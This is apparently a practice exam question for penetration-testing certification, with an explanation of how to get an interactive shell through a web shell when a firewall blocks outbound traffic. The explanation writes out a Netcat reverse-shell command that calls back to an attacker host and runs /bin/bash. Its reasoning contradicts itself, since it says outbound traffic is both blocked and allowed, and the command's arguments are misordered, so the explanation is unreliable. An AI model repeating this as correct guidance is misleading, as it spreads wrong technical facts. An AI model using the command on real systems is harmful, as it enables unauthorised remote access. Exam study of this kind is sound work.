After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?
When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.
This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.
References:
Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet
Practical examples from penetration testing scenarios: Horizontall.
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